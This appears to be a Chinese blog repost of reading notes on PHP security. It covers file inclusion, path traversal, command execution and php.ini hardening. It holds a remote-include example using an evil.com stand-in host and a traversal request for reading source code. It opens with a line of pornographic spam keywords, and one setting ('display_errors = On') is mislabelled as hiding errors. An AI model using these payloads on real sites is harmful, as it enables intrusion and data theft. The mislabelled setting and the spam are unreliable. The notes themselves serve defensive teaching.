日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

重燃你的PHP安全之火.pdf,读《重燃你的php之火》总结笔记

發布時間:2023/12/10 php 41 豆豆
生活随笔 收集整理的這篇文章主要介紹了 重燃你的PHP安全之火.pdf,读《重燃你的php之火》总结笔记 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

1.文件包含變量導致遠程文件包含

include ("$cfgdir/site${site}.php"); //把$cfgdir 這個路徑里的site${site}.php 包含進來

可以把變量$site 指定遠程文件http://evil.com/cmd.gif 去調用,也可以是本地的一個文件

解決方案:

php.ini 里的allow_url_fopen 設為off 禁止遠程使用文件

2.文件目錄列表

目錄列表,下載重要文件

解決方案:

open_base_dir 禁止使用目錄列表,或每個目錄下都存放一個index.html,推薦第一種

3.文件操作函數導致源代碼泄漏(fopen(),file(),readfile(),openfile())

$articlearray=openfile("$dbpath/$fid/$tid.php"); //打開$dbpath/$fid 這個路徑的$tid.php 文件

$topic_detail=explode("|",$articlearray[0]); //用分割符|讀出帖子的內容

構造/read.php?fid=123&tid=../index 可以查看上級index.php源代碼

fwrite() 寫入一句話***

unlink() 傳入任意文件,刪除任意文件

解決方案:

過濾特殊字符

4.任意代碼執行

eval(),preg_replace(),exec(),system(),popen(),proc_open(),proc_close()

提交可執行代碼和系統命令

解決方案:

使用escapeshellarg()或escapeshellcmd()函數過濾

5.特殊字符過濾

../ win路徑隱患

..\ win和linux路徑隱患

< > 跨站腳本***xxs

'?? 執行系統命令

; | 截斷程序流程

6.php的一些安全配置參數

safe_mode_gid = On? //開啟安全模式,會禁止系統命令執行函數

register_globals = Off //關閉全局變量,防止變量覆蓋漏洞

php_admin_value open_basedir /usr/local/apache/htdocs //限制php文件操作目錄為網站根目錄

allow_url_fopen = Off //關閉遠程文件打開功能,防止include('')文件包含一句話***

php_flag engine off

#如果是php3換成php3_engine off

#防止讀取任意文件和執行任意命令,限制上傳目錄權限

open_basedir = "/usr/local/apache/htdocs/" #限制允許操作的父目錄

#命令執行漏洞可以用escapeshellcmd()函數過濾傳入的命令參數,后再使用,杜絕命令執行漏洞

error_reporting = E_ALL & ~E_NOTICE //屏蔽警告信息

display_errors = On //屏蔽錯誤信息

log_errors = On? //開啟錯誤日志

error_log = /usr/local/apache/logs/php_error.log //錯誤日志存放目錄

disable_functions = phpinfo, get_cfg_var //禁用一些危險函數可以放在這里

總結

以上是生活随笔為你收集整理的重燃你的PHP安全之火.pdf,读《重燃你的php之火》总结笔记的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。